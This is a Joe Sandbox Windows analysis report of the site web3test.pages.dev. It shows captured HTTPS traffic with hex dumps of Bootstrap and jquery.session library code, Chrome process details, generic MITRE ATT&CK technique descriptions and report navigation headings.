2025-03-14 08:51:14 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2025-03-14 08:51:14 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2025-03-14 08:51:14 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2025-03-14 08:51:14 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2025-03-14 08:51:14 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-03-14 08:51:14 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-03-14 08:51:14 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-03-14 08:51:14 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2025-03-14 08:51:14 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49731	151.101.65.229	443	6876	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 08:51:13 UTC	605	OUT	GET /npm/jquery.session@1.0.0/jquery.session.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://web3test.pages.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 08:51:14 UTC	774	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2328 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 1.0.0 X-JSD-Version-Type: version ETag: W/"918-S/odanAfLcjzS/u1I3yXinmRccA" Accept-Ranges: bytes Age: 1652348 Date: Fri, 14 Mar 2025 08:51:14 GMT X-Served-By: cache-fra-eddf8230025-FRA, cache-ewr-kewr1740060-EWR X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-14 08:51:14 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 4d 69 6e 69 66 69 65 64 20 62 79 20 6a 73 44 65 6c 69 76 72 20 75 73 69 6e 67 20 54 65 72 73 65 72 20 76 35 2e 31 39 2e 32 2e 0a 20 2a 20 4f 72 69 67 69 6e 61 6c 20 66 69 6c 65 3a 20 2f 6e 70 6d 2f 6a 71 75 65 72 79 2e 73 65 73 73 69 6f 6e 40 31 2e 30 2e 30 2f 6a 71 75 65 72 79 2e 73 65 73 73 69 6f 6e 2e 6a 73 0a 20 2a 0a 20 2a 20 44 6f 20 4e 4f 54 20 75 73 65 20 53 52 49 20 77 69 74 68 20 64 79 6e 61 6d 69 63 61 6c 6c 79 20 67 65 6e 65 72 61 74 65 64 20 66 69 6c 65 73 21 20 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6a 73 64 65 6c 69 76 72 2e 63 6f 6d 2f 75 73 69 6e 67 2d 73 72 69 2d 77 69 74 68 2d 64 79 6e 61 6d 69 63 2d 66 69 6c 65 73 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: /** * Minified by jsDelivr using Terser v5.19.2. * Original file: /npm/jquery.session@1.0.0/jquery.session.js * * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files */!function(e)
2025-03-14 08:51:14 UTC	950	IN	Data Raw: 6f 6f 6b 69 65 43 61 63 68 65 29 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 74 68 69 73 2e 5f 67 65 6e 65 72 61 74 65 50 72 65 66 69 78 28 29 2b 65 2b 22 3d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 3b 22 3b 74 68 69 73 2e 5f 63 6f 6f 6b 69 65 43 61 63 68 65 3d 7b 7d 7d 2c 5f 64 65 6c 65 74 65 46 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 74 68 69 73 2e 5f 67 65 6e 65 72 61 74 65 50 72 65 66 69 78 28 29 2b 65 2b 22 3d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 3b 22 2c 64 65 6c 65 74 65 20 74 Data Ascii: ookieCache)document.cookie=this._generatePrefix()+e+"=; path=/; expires=Thu, 01 Jan 1970 00:00:01 GMT;";this._cookieCache={}},_deleteFallback:function(e){document.cookie=this._generatePrefix()+e+"=; path=/; expires=Thu, 01 Jan 1970 00:00:01 GMT;",delete t

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 6640, Parent PID: 768

General

Target ID:	0
Start time:	04:50:59
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7cce80000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6876, Parent PID: 6640

General

Target ID:	3
Start time:	04:51:05
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,17718154154607485139,855489140315774321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2072 /prefetch:3
Imagebase:	0x7ff7cce80000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7648, Parent PID: 6640

General

Target ID:	7
Start time:	04:51:07
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2036,i,17718154154607485139,855489140315774321,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5052 /prefetch:8
Imagebase:	0x7ff7cce80000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7848, Parent PID: 768

General

Target ID:	10
Start time:	04:51:11
Start date:	14/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://web3test.pages.dev/"
Imagebase:	0x7ff7cce80000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://web3test.pages.dev/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Chrome Cache Entry: 99

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 6640, Parent PID: 768

General

Windows Analysis Report
https://web3test.pages.dev/